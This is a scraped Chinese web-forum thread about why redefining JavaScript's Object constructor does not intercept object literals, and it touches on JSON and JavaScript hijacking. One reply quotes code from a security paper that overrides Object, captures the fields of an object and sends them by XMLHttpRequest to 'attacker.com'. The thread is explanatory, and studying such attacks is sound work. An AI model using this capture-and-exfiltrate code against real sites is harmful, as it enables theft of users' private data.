为何Object的构造函数在用Json的时候不会执行? var s = {name:'lilei',age:'18'};是直接构造一个json对象 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 function Object(){ display(this);}这里楼主就js本身的Object对象给覆盖了,为何要用系统关键字呢,不解 function Object(){ display(this);}这里楼主就js本身的Object对象给覆盖了,为何要用系统关键字呢,不解 那这个对象构造的时候会执行什么方法吗,比如object()一类的构造函数 覆盖了原有的Object对象,var s = new Object();就只会执行你的构造函数,因为你是覆盖,不是继承 这个是一个叫javascript函数劫持(javascript hijacking)里的基本技术,好像Object构造函数里本来就是空的,只是一个标志。那些论文里的代码有两种重写Object构造函数来截获Json对象,要不是直接写,要不就是用setter,比如var hijackingData = {};function Object() { // redefine/overwrite constructor of Object hijackingData = this;}function Object() {this.email setter = captureObject;}// Send the captured object back to the attacker's Web sitefunction captureObject(x) {var objString = "";for (fld in this) {objString += fld + ": " + this[fld] + ", ";}objString += "email: " + x;var req = new XMLHttpRequest();req.open("GET", "http://attacker.com?obj=" +escape(objString),true);req.send(null);} 首先,你这个并不是劫持.重定义相同的对象/方法才叫劫持.对于function Object(){display(this);}这样定义,等同var window.Object=function(){display(this);}乃window空间下的Object定义.由于在脚本中var s = new window.Object();可以将window.省略,故是你定义的那个function Object()而真正的Object乃是"对象",凌驾于function,window之上,function,window他们也是一个Object.所以 var s=new Object();和var s={};是两码子事 事实上很多人成功了,而且当时这个漏洞暴出来的时候也没有被修复,大型框架里只有DWR能够幸免,连GOOGLE都被成功攻击了。http://stock.daili.name/paypal/gold/browse.php?u=Oi8vYmxvZy5yb29kby5jb20vcm9ja3NheWluZy9hcmNoaXZlcy8yOTU1NTU3Lmh0bWw%3D&b=29http://www.net-security.org/dl/articles/JavaScript_Hijacking.pdf 我落伍了,当大家都在进步的时候我还在井里吐泡泡.我还是有个说法,劫持我了解不深.我知道劫持叫做函数劫持,当大家运用方法时候就会调用被劫持的方法.但是"类型"也能劫持我就不知道了,对于上述大家都在讨论的ajax被劫持严重,我猜是因为很多开发者没有意识到数据传输时候的安全性,一股脑将数据全塞到了客户端.还认为其数据是不可见.但是开发者并不在意从ajax得到的数据在转换时和显示时是要调用方法的.尤其是json数据,需要构造.当然这里Function 和eval乃至document.wirte都不会幸免,全部劫持后..客户端就这么轻而易举的获取了重要信息. 我也很迷茫啊function display(x){alert(x);}function Object(){display(this);}var s2 = new Object();var s = {name:'lilei',age:'18'};alert(typeof s2+"\n"+typeof s);alert( s2.constructor+"\n"+ s.constructor); 为什么s2.constructor和s.constructor不是同一个东西呢?原因是,s2是做为类的Objects是做为静态name-value对集合的Object,他的类型固然是object但是却不是"Object类",它不能被继承、没有prototype子集,不能被实例化.所以无法调用构造函数. 那篇文章和相关讨论是怎么回事呢,不会是错的吧,我只试过IE和FIREFOX,事实上你可以试试,我重写Array的话,如果用new Array()可以,但是用[1,2,3]就不行 var s=new Array();和var s=[];是两个概念.尽管他们都可赋值,都可添加属性.但前者是作为类的Array,后者是作为"名-值"对的Array.感觉有点像String s=""; 和String s=new String("");前一个是String型,而后一个是继承至String类的String型.基本上大家都会在劫持的时候去劫持eval方法,或者Function类,因为他们在将json字符串转化成对象的时候会用,可以方便的输出其中的参数.劫持的作用lz应该看了,不过我想以后大家回将反劫持都运用上的.给lz几个地址看看,相信会有启发.http://bbs.zdnet.com.cn/thread-118950-1-1.htmlhttp://www.chinesebloger.com/dispbbs.asp?boardid=2&replyid=54428&id=39719&skin=0&page=2&http://www.yuanma.org/data/2007/1214/article_2924.htm 请教关闭弹出层的问题 调用js后gif图片不动的问题 判断时间格式 高手来,找错误! 怎么去除防网页被选中代码 https+PHP+mysql+Ajax+prototype的一个页面,为什么放一段时间自己就卡死了…… 有关php 和 js 的问题 困扰我好久了 求各位高人帮忙 请问:如何才能将我的电脑在已有的Frame中显示? [请教了很多人都没解决] 请问:用数组保存对象名,如何在循环中使用这些保存的对象的属性? 各位哥哥,帮帮小妹了!~~ 百度的登陆框是怎么实现的呢?能贴点代码不? 关于Javascript的问题,怎么讲一个 <td 下面的所有元素的visible都设置为False;
{
display(this);
}
这里楼主就js本身的Object对象给覆盖了,为何要用系统关键字呢,不解
{
display(this);
}
这里楼主就js本身的Object对象给覆盖了,为何要用系统关键字呢,不解
var s = new Object();
就只会执行你的构造函数,
因为你是覆盖,不是继承
这个是一个叫javascript函数劫持(javascript hijacking)里的基本技术,好像Object构造函数里本来就是空的,只是一个标志。那些论文里的代码有两种重写Object构造函数来截获Json对象,要不是直接写,要不就是用setter,比如
var hijackingData = {};function Object() { // redefine/overwrite constructor of Object
hijackingData = this;
}function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
重定义相同的对象/方法才叫劫持.
对于function Object(){display(this);}
这样定义,等同var window.Object=function(){display(this);}乃window空间下的Object定义.
由于在脚本中var s = new window.Object();可以将window.省略,故是你定义的那个function Object()
而真正的Object乃是"对象",凌驾于function,window之上,function,window他们也是一个Object.
所以 var s=new Object();和var s={};是两码子事
事实上很多人成功了,而且当时这个漏洞暴出来的时候也没有被修复,大型框架里只有DWR能够幸免,连GOOGLE都被成功攻击了。
http://stock.daili.name/paypal/gold/browse.php?u=Oi8vYmxvZy5yb29kby5jb20vcm9ja3NheWluZy9hcmNoaXZlcy8yOTU1NTU3Lmh0bWw%3D&b=29
http://www.net-security.org/dl/articles/JavaScript_Hijacking.pdf
我知道劫持叫做函数劫持,当大家运用方法时候就会调用被劫持的方法.
但是"类型"也能劫持我就不知道了,对于上述大家都在讨论的ajax被劫持严重,
我猜是因为很多开发者没有意识到数据传输时候的安全性,一股脑将数据全塞到了客户端.还认为其数据是不可见.
但是开发者并不在意从ajax得到的数据在转换时和显示时是要调用方法的.尤其是json数据,需要构造.
当然这里Function 和eval乃至document.wirte都不会幸免,全部劫持后..客户端就这么轻而易举的获取了重要信息.
function Object(){display(this);}
var s2 = new Object();
var s = {name:'lilei',age:'18'};
alert(typeof s2+"\n"+typeof s);
alert( s2.constructor+"\n"+ s.constructor);
原因是,s2是做为类的Object
s是做为静态name-value对集合的Object,他的类型固然是object但是却不是"Object类",
它不能被继承、没有prototype子集,不能被实例化.所以无法调用构造函数.
那篇文章和相关讨论是怎么回事呢,不会是错的吧,我只试过IE和FIREFOX,事实上你可以试试,我重写Array的话,如果用new Array()可以,但是用[1,2,3]就不行
尽管他们都可赋值,都可添加属性.
但前者是作为类的Array,后者是作为"名-值"对的Array.
感觉有点像String s=""; 和String s=new String("");
前一个是String型,而后一个是继承至String类的String型.基本上大家都会在劫持的时候去劫持eval方法,或者Function类,
因为他们在将json字符串转化成对象的时候会用,可以方便的输出其中的参数.
劫持的作用lz应该看了,不过我想以后大家回将反劫持都运用上的.
给lz几个地址看看,相信会有启发.
http://bbs.zdnet.com.cn/thread-118950-1-1.htmlhttp://www.chinesebloger.com/dispbbs.asp?boardid=2&replyid=54428&id=39719&skin=0&page=2&
http://www.yuanma.org/data/2007/1214/article_2924.htm